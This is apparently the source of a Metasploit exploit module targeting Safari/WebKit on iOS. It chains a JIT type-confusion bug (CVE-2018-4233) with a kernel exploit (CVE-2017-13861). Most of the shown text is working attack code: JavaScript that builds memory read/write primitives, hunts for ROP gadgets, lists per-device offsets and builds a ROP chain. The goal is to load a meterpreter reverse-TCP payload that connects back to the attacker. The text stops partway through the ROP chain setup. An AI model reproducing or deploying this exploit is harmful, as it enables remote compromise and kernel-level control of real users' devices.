This Metasploit module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The type confusion leads to the ability to allocate fake Javascript objects, as well as the ability to find the address in memory of a Javascript object. This allows us to construct a fake JSCell object that can be used to read and write arbitrary memory from Javascript. The module then uses a ROP chain to write the first stage shellcode into executable memory within the Safari process and kick off its execution. The first stage maps the second stage macho (containing CVE-2017-13861) into executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake exploit leads to a kernel task port (TFP0) that can read and write arbitrary kernel memory. The processes credential and sandbox structure in the kernel is overwritten and the meterpreter payloads code signature hash is added to the kernels trust cache, allowing Safari to load and execute the (self-signed) meterpreter payload.
ac8550e0b0dd814a249c313353fcb65341e18bb2e59885151b0cffac8172e060
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Safari Webkit Proxy Object Type Confusion',
'Description' => %q{
This module exploits a type confusion bug in the Javascript Proxy object in
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
it is possible to run arbitrary JS code during the execution of a CreateThis
operation. This makes it possible to change the structure of e.g. an argument
without causing a bailout, leading to a type confusion (CVE-2018-4233).
The type confusion leads to the ability to allocate fake Javascript objects,
as well as the ability to find the address in memory of a Javascript object.
This allows us to construct a fake JSCell object that can be used to read
and write arbitrary memory from Javascript. The module then uses a ROP chain
to write the first stage shellcode into executable memory within the Safari
process and kick off its execution.
The first stage maps the second stage macho (containing CVE-2017-13861) into
executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake
exploit leads to a kernel task port (TFP0) that can read and write arbitrary
kernel memory. The processes credential and sandbox structure in the kernel
is overwritten and the meterpreter payloads code signature hash is added to
the kernels trust cache, allowing Safari to load and execute the (self-signed)
meterpreter payload.
},
'License' => MSF_LICENSE,
'Author' => [
'saelo',
'niklasb',
'Ian Beer',
'siguza',
],
'References' => [
['CVE', '2018-4233'],
['CVE', '2017-13861'],
['URL', 'https://github.com/saelo/cve-2018-4233'],
['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],
['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],
],
'Arch' => ARCH_AARCH64,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Mar 15 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]),
])
end
def exploit_data(directory, file)
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
::File.binread path
end
def payload_url
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
end
def get_version(user_agent)
if user_agent =~ /OS (.*?) like Mac OS X\)/
ios_version = Gem::Version.new($1.gsub("_", "."))
return ios_version
end
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
def on_request_uri(cli, request)
if request.uri =~ %r{/apple-touch-icon*}
return
elsif request.uri =~ %r{/favicon*}
return
elsif request.uri =~ %r{/payload10$*}
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
print_good("Sent sha1 iOS 10 payload")
return
elsif request.uri =~ %r{/payload11$*}
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
print_good("Sent sha256 iOS 11 payload")
return
end
user_agent = request['User-Agent']
print_status("Requesting #{request.uri} from #{user_agent}")
version = get_version(user_agent)
ios_11 = (version >= Gem::Version.new('11.0.0'))
if request.uri =~ %r{/exploit$}
loader_data = exploit_data('CVE-2017-13861', 'exploit')
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
config = [srvhost, srvport].pack("Nn") + payload_url
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, config.length] = config
print_good("Sent async_wake exploit")
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
end
get_mem_rw_ios_10 = %Q^
function get_mem_rw(stage1) {
var structs = [];
function sprayStructures() {
function randomString() {
return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)
}
for (var i = 0; i < 4096; i++) {
var a = new Float64Array(1);
a[randomString()] = 1337;
structs.push(a)
}
}
sprayStructures();
var hax = new Uint8Array(4096);
var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);
var container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: false,
vector: hax,
lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()
};
var address = Add(stage1.addrof(container), 16);
var fakearray = stage1.fakeobj(address);
while (!(fakearray instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.asJSValue()
}
memory = {
read: function(addr, length) {
fakearray[2] = i2f(addr);
var a = new Array(length);
for (var i = 0; i < length; i++) a[i] = hax[i];
return a
},
readInt64: function(addr) {
return new Int64(this.read(addr, 8))
},
write: function(addr, data) {
fakearray[2] = i2f(addr);
for (var i = 0; i < data.length; i++) hax[i] = data[i]
},
writeInt64: function(addr, val) {
return this.write(addr, val.bytes())
},
};
var empty = {};
var header = memory.read(stage1.addrof(empty), 8);
memory.write(stage1.addrof(container), header);
var f64array = new Float64Array(8);
header = memory.read(stage1.addrof(f64array), 16);
memory.write(stage1.addrof(fakearray), header);
memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);
fakearray.container = container;
return memory;
}
^
get_mem_rw_ios_11 = %Q^
function get_mem_rw(stage1) {
var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;
var structure_spray = []
for (var i = 0; i < 1000; ++i) {
var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}
ary['prop'+i] = 1
structure_spray.push(ary)
}
var manager = structure_spray[500]
var leak_addr = stage1.addrof(manager)
//print('leaking from: '+ hex(leak_addr))
function alloc_above_manager(expr) {
var res
do {
for (var i = 0; i < ALLOCS; ++i) {
structure_spray.push(eval(expr))
}
res = eval(expr)
} while (stage1.addrof(res) < leak_addr)
return res
}
var unboxed_size = 100
var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')
var boxed = alloc_above_manager('[{}]')
var victim = alloc_above_manager('[]')
// Will be stored out-of-line at butterfly - 0x10
victim.p0 = 0x1337
function victim_write(val) {
victim.p0 = val
}
function victim_read() {
return victim.p0
}
i32[0] = 0x200 // Structure ID
i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing
var outer = {
p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned
p1: f64[0],
p2: manager,
p3: 0xfffffff, // Butterfly indexing mask
}
var fake_addr = stage1.addrof(outer) + FPO + 0x8;
//print('fake obj @ ' + hex(fake_addr))
var unboxed_addr = stage1.addrof(unboxed)
var boxed_addr = stage1.addrof(boxed)
var victim_addr = stage1.addrof(victim)
//print('leak ' + hex(leak_addr)
//+ ' unboxed ' + hex(unboxed_addr)
//+ ' boxed ' + hex(boxed_addr)
//+ ' victim ' + hex(victim_addr))
var holder = {fake: {}}
holder.fake = stage1.fakeobj(fake_addr)
// From here on GC would be uncool
// Share a butterfly for easier boxing/unboxing
var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)
var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
function set_victim_addr(where) {
holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
}
function reset_victim_addr() {
holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
}
var stage2 = {
addrof: function(victim) {
boxed[0] = victim
return f2i(unboxed[0])
},
fakeobj: function(addr) {
unboxed[0] = i2f(addr)
return boxed[0]
},
write64: function(where, what) {
set_victim_addr(where)
victim_write(this.fakeobj(what))
reset_victim_addr()
},
read64: function(where) {
set_victim_addr(where)
var res = this.addrof(victim_read())
reset_victim_addr()
return res;
},
write_non_zero: function(where, values) {
for (var i = 0; i < values.length; ++i) {
if (values[i] != 0)
this.write64(where + i*8, values[i])
}
},
readInt64: function(where) {
if (where instanceof Int64) {
where = Add(where, 0x10);
holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();
} else {
set_victim_addr(where);
}
boxed[0] = victim_read();
var res = f2i(unboxed[0]);
reset_victim_addr();
return new Int64(res);
},
read: function(addr, length) {
var address = new Int64(addr);
var a = new Array(length);
var i;
for (i = 0; i + 8 < length; i += 8) {
v = this.readInt64(Add(address, i)).bytes()
for (var j = 0; j < 8; j++) {
a[i+j] = v[j];
}
}
v = this.readInt64(Add(address, i)).bytes()
for (var j = i; j < length; j++) {
a[j] = v[j - i];
}
return a
},
test: function() {
this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie
if (0xfff != this.read64(boxed_addr + 0x10)) {
fail(2)
}
},
}
// Test read/write
stage2.test()
return stage2;
}
^
get_mem_rw = (version >= Gem::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10
utils = exploit_data "CVE-2018-4233", "utils.js"
int64 = exploit_data "CVE-2018-4233", "int64.js"
dump_offsets = ''
if datastore['DUMP_OFFSETS']
dump_offsets = %Q^
var offsetstr = uuid + " : { ";
var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",
"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];
for (var i = 0; i < offsetarray.length; i++) {
var offset = offsets[offsetarray[i]];
if (offset) {
var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");
offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";
}
}
offsetstr += "}, ";
prompt("offsets: ", offsetstr);
^
end
html = %Q^
<html>
<body>
<script>
#{utils}
#{int64}
print = alert;
ITERS = 1E4;
ALLOCS = 1E3;
var conversion_buffer = new ArrayBuffer(8);
var f64 = new Float64Array(conversion_buffer);
var i32 = new Uint32Array(conversion_buffer);
var BASE32 = 0x100000000;
function f2i(f) {
f64[0] = f;
return i32[0] + BASE32 * i32[1];
}
function i2f(i) {
i32[0] = i % BASE32;
i32[1] = i / BASE32;
return f64[0];
}
function hexit(x) {
if (x instanceof Int64) return x.toString();
if (x < 0) return "-" + hex(-x);
return "0x" + x.toString(16);
}
function fail(x) {
print('FAIL ' + x);
location.reload();
throw null;
}
counter = 0;
// CVE-2018-4233
function trigger(constr, modify, res, val) {
return eval(`
var o = [13.37]
var Constructor${counter} = function(o) { ${constr} }
var hack = false
var Wrapper = new Proxy(Constructor${counter}, {
get: function() {
if (hack) {
${modify}
}
}
})
for (var i = 0; i < ITERS; ++i)
new Wrapper(o)
hack = true
var bar = new Wrapper(o)
${res}
`)
}
var workbuf = new ArrayBuffer(0x1000000);
var payload = new Uint8Array(workbuf);
function pwn() {
var stage1 = {
addrof: function(victim) {
return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))
},
fakeobj: function(addr) {
return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))
},
test: function() {
var addr = this.addrof({
a: 4919
});
var x = this.fakeobj(addr);
if (x.a != 4919) fail("stage1")
}
};
stage1.test();
var stage2 = get_mem_rw(stage1);
var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : "0x18;"}
var memory = stage2;
memory.u32 = _u32;
var wrapper = document.createElement("div");
var wrapper_addr = stage1.addrof(wrapper);
var el_addr = memory.readInt64(wrapper_addr + FPO);
var vtab = memory.readInt64(el_addr);
var anchor = memory.readInt64(vtab);
var hdr = Sub(anchor, anchor.lo() & 0xfff);
var b = [];
while(true)
{
if (memory.readInt64(hdr).lo() == 4277009104) {
fail('WebCore ' + hdr + ' post spectre support coming soon');
}
if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))
{
break;
}
hdr = Sub(hdr, 0x1000);
}
var base_seg = null;
var nsegs = memory.u32(Add(hdr, 0x14));
var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);
var segs = [];
for(var i = 0; i < nsegs; ++i)
{
var off = i * 0x20;
var seg =
{
addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),
size: new Int64(segdata.slice(off + 0x8, off + 0x10)),
fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),
maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),
initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))
};
segs.push(seg);
if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))
{
base_seg = seg;
}
}
if(base_seg == null)
{
fail("base_seg");
}
var cache_slide = Sub(hdr, base_seg.addr);
var uuid = memory.readInt64(Add(hdr, 0x58)).lo();
var offset_cache = {
// iPod Touch 10.1.1
788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,
"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },
// iPhone 5S 10.2.1
3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,
"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },
// iPhone 6S 11.0.3
425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,
"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },
};
var offsets = offset_cache[uuid];
if (offsets)
{
var k = Object.keys(offsets);
for(var i = 0; i < k.length; ++i)
{
var s = k[i];
offsets[s] = Add(offsets[s], cache_slide);
}
}
else
{
var syms = {};
var gadgets = {};
for(var i = 0; i < segs.length; ++i)
{
segs[i].addr = Add(segs[i].addr, cache_slide);
}
var libs =
{
"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],
#{ ios_11 ? '
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],
' : '
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],
'}
}
#{ ios_11 ? '
var opcodes = {
// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret
"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],
// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8
"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],
// mov x4, x20 ; blr x8
"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],
}
var opcode_libs = [
"/usr/lib/PN548.dylib", // dispatch, stackloader
"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader
];
' : '
var opcodes = {
// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28
"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],
"dispatch": [
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],
// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret
[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],
],
"stackloader": [
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],
// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];
// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret
[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],
],
};
var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];
'}
var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));
var nimgs = memory.u32(Add(hdr, 0x1c));
for(var i = 0; i < nimgs; ++i)
{
var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));
var fn = function(i)
{
return memory.read(Add(straddr, i), 1)[0];
};
var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);
if(opcode_libs.some(lib => strcmp(fn, lib)))
{
var ncmds = memory.u32(Add(base, 0x10));
for(var j = 0, off = 0x20; j < ncmds; ++j)
{
var cmd = memory.u32(Add(base, off));
if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64
{
var nsects = memory.u32(Add(base, off + 0x40));
for(var k = 0, o = off + 0x48; k < nsects; ++k)
{
if(strcmp(memory.read(Add(base, o), 0x10), "__text"))
{
var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])
if (keys.length == 0) break;
var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)
var size = memory.u32(Add(base, o + 0x28))
// Copy the entire __text region into a Uint32Array for faster processing.
// Previously you could map a Uint32Array over the data, but on i7+ devices
// this caused access violations.
// Instead we read the entire region and copy it into a Uint32Array. The
// memory.read primitive has a weird limitation where it's only able to read
// up to 4096 bytes. to get around this we'll read multiple times and combine
// them into one.
var allData = new Uint32Array(size / 4)
for (var r = 0; r < size; r += 4096) {
// Check to ensure we don't read out of the region we want
var qty = 4096
if (size - r < qty) {
qty = size - r
}
var data = memory.read(Add(addr, r), qty)
// Data is an array of single bytes. This code takes four entries
// and converts them into a single 32-bit integer. It then adds it
// into the `allData` array at the given index
for (var h = 0; h < qty; h += 4) {
var fourBytes = b2u32(data.slice(h, h + 4))
allData[(r + h) / 4] = fourBytes
}
}
// Loop through the entire data map looking for each gadget we need
for (var f = 0; f < size && keys.length > 0; f++) {
// Check every gadget
for (var z = 0; z < keys.length; z++) {
var key = keys[z];
var opcode_list = opcodes[key];
for (var y = 0; y < opcode_list.length; y++) {
var opcode = opcode_list[y];
for (var t = 0; t < opcode.length; t++) {
var op = allData[f+t];
if (op == opcode[t]) {
if (t == opcode.length - 1) {
gadgets[key] = Add(addr, f*4);
keys.splice(z, 1);
z = keys.length;
break;
}
continue;
}
break;
}
}
}
}
break;
}
o += 0x50;
}
break;
}
off += memory.u32(Add(base, off + 0x4));
}
continue;
}
var lookup = null;
for(var k = Object.keys(libs), j = 0; j < k.length; ++j)
{
if(strcmp(fn, k[j]))
{
lookup = libs[k[j]];
break;
}
}
if(lookup != null)
{
fsyms(memory, base, segs, lookup, syms);
}
}
var vals = Object.keys(libs).map(function(key) {
return libs[key];
});
var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);
for(var i = 0; i < k.length; ++i)
{
var s = k[i];
if(syms[s] == null)
{
fail(s);
}
syms[s] = Add(syms[s], cache_slide);
}
k = Object.keys(opcodes);
for(var i = 0; i < k.length; ++i)
{
var s = k[i];
if(gadgets[s] == null)
{
fail(s);
}
}
offsets = {}
offsets["regloader"] = gadgets["regloader"];
offsets["dispatch"] = gadgets["dispatch"];
offsets["stackloader"] = gadgets["stackloader"];
offsets["ldrx8"] = gadgets["ldrx8"];
offsets["movx4"] = gadgets["movx4"];
offsets["__longjmp"] = syms["__longjmp"];
offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];
offsets["__platform_memmove"] = syms["__platform_memmove"];
offsets["_dlopen"] = syms["_dlopen"];
offsets["_dlsym"] = syms["_dlsym"];
offsets["_mach_task_self_"] = syms["_mach_task_self_"];
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];
if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);
}
#{ ios_11 ? '
if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);
}' : ''}
#{dump_offsets}
}
var regloader = offsets["regloader"];
var dispatch = offsets["dispatch"];
var stackloader = offsets["stackloader"];
var longjmp = offsets["__longjmp"];
var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];
var memmove = offsets["__platform_memmove"];
var dlopen = offsets["_dlopen"];
var dlsym = offsets["_dlsym"];
var task_self = offsets["_mach_task_self_"]
var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
var ldrx8 = offsets["ldrx8"]; // might be null
var movx4 = offsets["movx4"]; // might be null
var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());
var memPoolEnd = memory.readInt64(endOfFixedMem);
var memPoolStart = Int64.Zero;
if (startOfFixedMem) {
memPoolStart = memory.readInt64(startOfFixedMem);
}
var jitWriteSeparateHeaps = Int64.Zero;
if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {
jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);
}
var shsz = new Int64("0x100000");
var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));
var codeAddr = Sub(memPoolEnd, shsz);
codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);
memory.writeInt64(Add(vtab, 0x18), longjmp);
memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)
var arrsz = 0x100000,
off = 0x1000;
var arr = new Uint32Array(arrsz);
var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));
var pos = arrsz - off;
var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {
x4 = x4 || Int64.Zero
// in stackloader:
arr[pos++] = 0xdead0010; // unused
arr[pos++] = 0xdead0011; // unused
arr[pos++] = 0xdead0012; // unused
arr[pos++] = 0xdead0013; // unused
arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)
arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)
arr[pos++] = 0xdead0014; // x27 (unused)
arr[pos++] = 0xdead0015; // x27 (unused)
arr[pos++] = x4.lo(); // x26 == x4 (arg5)
arr[pos++] = x4.hi(); // x26 == x4 (arg5)
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
arr[pos++] = x2.lo(); // x24 == x2 (arg3)
arr[pos++] = x2.hi(); // x24 == x2 (arg3)
arr[pos++] = x0.lo(); // x23 == x0 (arg1)
arr[pos++] = x0.hi(); // x23 == x0 (arg1)
arr[pos++] = x1.lo(); // x22 == x1 (arg2)
arr[pos++] = x1.hi(); // x22 == x1 (arg2)
arr[pos++] = func.lo(); // x21 (func)
arr[pos++] = func.hi(); // x21 (func)
arr[pos++] = 0xdbad0018; // x20 (unused)
arr[pos++] = 0xdbad0019; // x20 (unused)
arr[pos++] = 0xdead001a; // x19 (unused)
arr[pos++] = 0xdead001b; // x19 (unused)
var tmppos = pos;
arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29
arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29
arr[pos++] = regloader.lo(); // x30 (first gadget)
arr[pos++] = regloader.hi(); // x30 (first gadget)
// after dispatch:
arr[pos++] = 0xdead0020; // unused
arr[pos++] = 0xdead0021; // unused
arr[pos++] = 0xdead0022; // unused
arr[pos++] = 0xdead0023; // unused
arr[pos++] = 0xdead0024; // x22 (unused)
arr[pos++] = 0xdead0025; // x22 (unused)
arr[pos++] = 0xdead0026; // x21 (unused)
arr[pos++] = 0xdead0027; // x21 (unused)
arr[pos++] = 0xdead0028; // x20 (unused)
arr[pos++] = 0xdead0029; // x20 (unused)
arr[pos++] = 0xdead002a; // x19 (unused)
arr[pos++] = 0xdead002b; // x19 (unused)
tmppos = pos;
arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29
arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29
arr[pos++] = jump_to.lo(); // x30 (gadget)
arr[pos++] = jump_to.hi(); // x30 (gadget)
}
var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {
//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);
//x4 = x4 || Int64.One
// in stackloader:
arr[pos++] = 0xdead0010; // unused
arr[pos++] = 0xdead0011; // unused
arr[pos++] = 0xdead0012; // unused
arr[pos++] = 0xdead0013; // unused
arr[pos++] = 0xdead1101; // x28 (unused)
arr[pos++] = 0xdead1102; // x28 (unused)
arr[pos++] = 0xdead0014; // x27 == x6 (unused)
arr[pos++] = 0xdead0015; // x27 == x6 (unused)
arr[pos++] = 0xdead0016; // x26 (unused)
arr[pos++] = 0xdead0017; // x26 (unused)
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
arr[pos++] = x0.lo(); // x24 == x0 (arg1)
arr[pos++] = x0.hi(); // x24 == x0 (arg1)
arr[pos++] = x2.lo(); // x23 == x2 (arg3)
arr[pos++] = x2.hi(); // x23 == x2 (arg3)
arr[pos++] = x3.lo(); // x22 == x3 (arg4)
arr[pos++] = x3.hi(); // x22 == x3 (arg4)
